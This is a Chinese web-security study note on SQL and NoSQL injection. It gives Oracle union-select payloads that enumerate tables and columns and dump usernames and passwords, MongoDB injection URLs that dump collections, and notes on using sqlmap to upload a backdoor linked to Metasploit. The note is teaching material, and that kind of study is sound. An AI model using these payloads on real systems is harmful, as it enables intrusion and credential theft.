26、web攻防——通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2

文章目录

SQL注入课程体系;

  1. 数据库注入:access、mysql、mssql、oracle、mongodb、postgresql等
  2. 数据类型注入:数字型、字符型、搜索型、加密型(base63 json)等
  3. 提交方式注入:get、post、cookie、http头等
  4. 查询方式注入:查询、增加、删除、更新、堆叠等
  5. 复杂注入利用:二次注入、dnslog注入、绕过bypass等

Oracle

参考资料:【实战】Oracle注入总结

python 复制代码
# 判断字段数
order by 3

# 测回显
and 1=2 union select '1','2' from dual //要加单引号
python 复制代码
# 查看数据库名(每次只能查一条数据)
and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual
and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SEESION_EVOLVE$')) from dual


python 复制代码
# 模糊爆库
and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual //%..%之间的内容为你想要的库名可能包含得关键词
python 复制代码
# 爆列名
and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual
python 复制代码
# 爆其他列名
and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual
python 复制代码
# 爆数据
and 1=2 union select user_name,user_pwd from "sns_users"
python 复制代码
# 爆其他数据
and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'

MongoDB

在python环境中,一般用MongoDB。

url 复制代码
# 测回显
/new_list.php?id=1'});return ({title:1,content:'2
url 复制代码
# 爆库名
/new_list.php?id=1'});return ({title:tojson(db),content:'2
url 复制代码
# 爆表名
/new_list.php?id=1'});return ({title:tojson(db.getCollectionNames()),content:'2 //db.getCollectionNames()()返回得是数组,需要用tojson转换为字符串
url 复制代码
# 爆字段内容
/new_list.php?id=1'});return ({title:tojson(db.Authority_confidentail.find()[0]),content:'2 // db.Authority_confidentail是当前用的集合(表),find函数用于查询,0是第一条数据。

sqlmap

sqlmap超详细笔记

  • sqlmap 数据库注入数据猜解
  • sqlmap 高权限注入读写执行
  • sqlmap 高权限注入联动MSF,其实就是用sqlmap上传一个后门,MSF监听端口,Sqlmap执行后门文件,靶机上线。

sqlmap支持哪些数据库注入?

不支持nosql

sqlmap支持哪些sql注入模型?

带外指的是类型dnslog这类得注入。

sqlmap支持其他不一样功能?

sqlmap提供了很多脚本。
使用sqlmap一般注入流程分析?

  1. 判断注入点;
  2. 判断数据库类型,就是这个注入点是什么数据库的注入点;
  3. 根据数据库类型,是否存在高权限注入点;
  4. 文件读写、命令执行不行,就只能老老实实去猜数据;

如果碰到一些网站,登陆后的注入点;电脑能访问,手机不能访问。建议使用sqlmap -r参数使用数据包进行跑。

相关推荐
子兮曰25 分钟前
后端字段又改了?我撸了一个 BFF 数据适配器,从此再也不怕接口“屎山”!
前端·javascript·架构
万少2 小时前
使用Trae轻松安装openclaw的教程-附带免费token
前端·openai·ai编程
浪浪山_大橙子3 小时前
OpenClaw 十分钟快速,安装与接入完全指南 - 推荐使用trae 官方 skills 安装
前端·人工智能
忆江南3 小时前
iOS 可视化埋点与无痕埋点详解
前端
离开地球表面_993 小时前
金三银四程序员跳槽指南:从简历到面试再到 Offer 的全流程准备
前端·后端·面试
_柳青杨3 小时前
跨域获取 iframe 选中文本?自己写个代理中间层,再也不求后端!
前端
比尔盖茨的大脑3 小时前
事件循环底层原理:从 V8 引擎到浏览器实现
前端·javascript·面试
天才熊猫君3 小时前
Vue3 命令式弹窗原理和 provide/inject 隔离机制详解
前端
bluceli3 小时前
Vue 3 Composition API深度解析:构建可复用逻辑的终极方案
前端·vue.js
程序员ys3 小时前
前端权限控制设计
前端·vue.js·react.js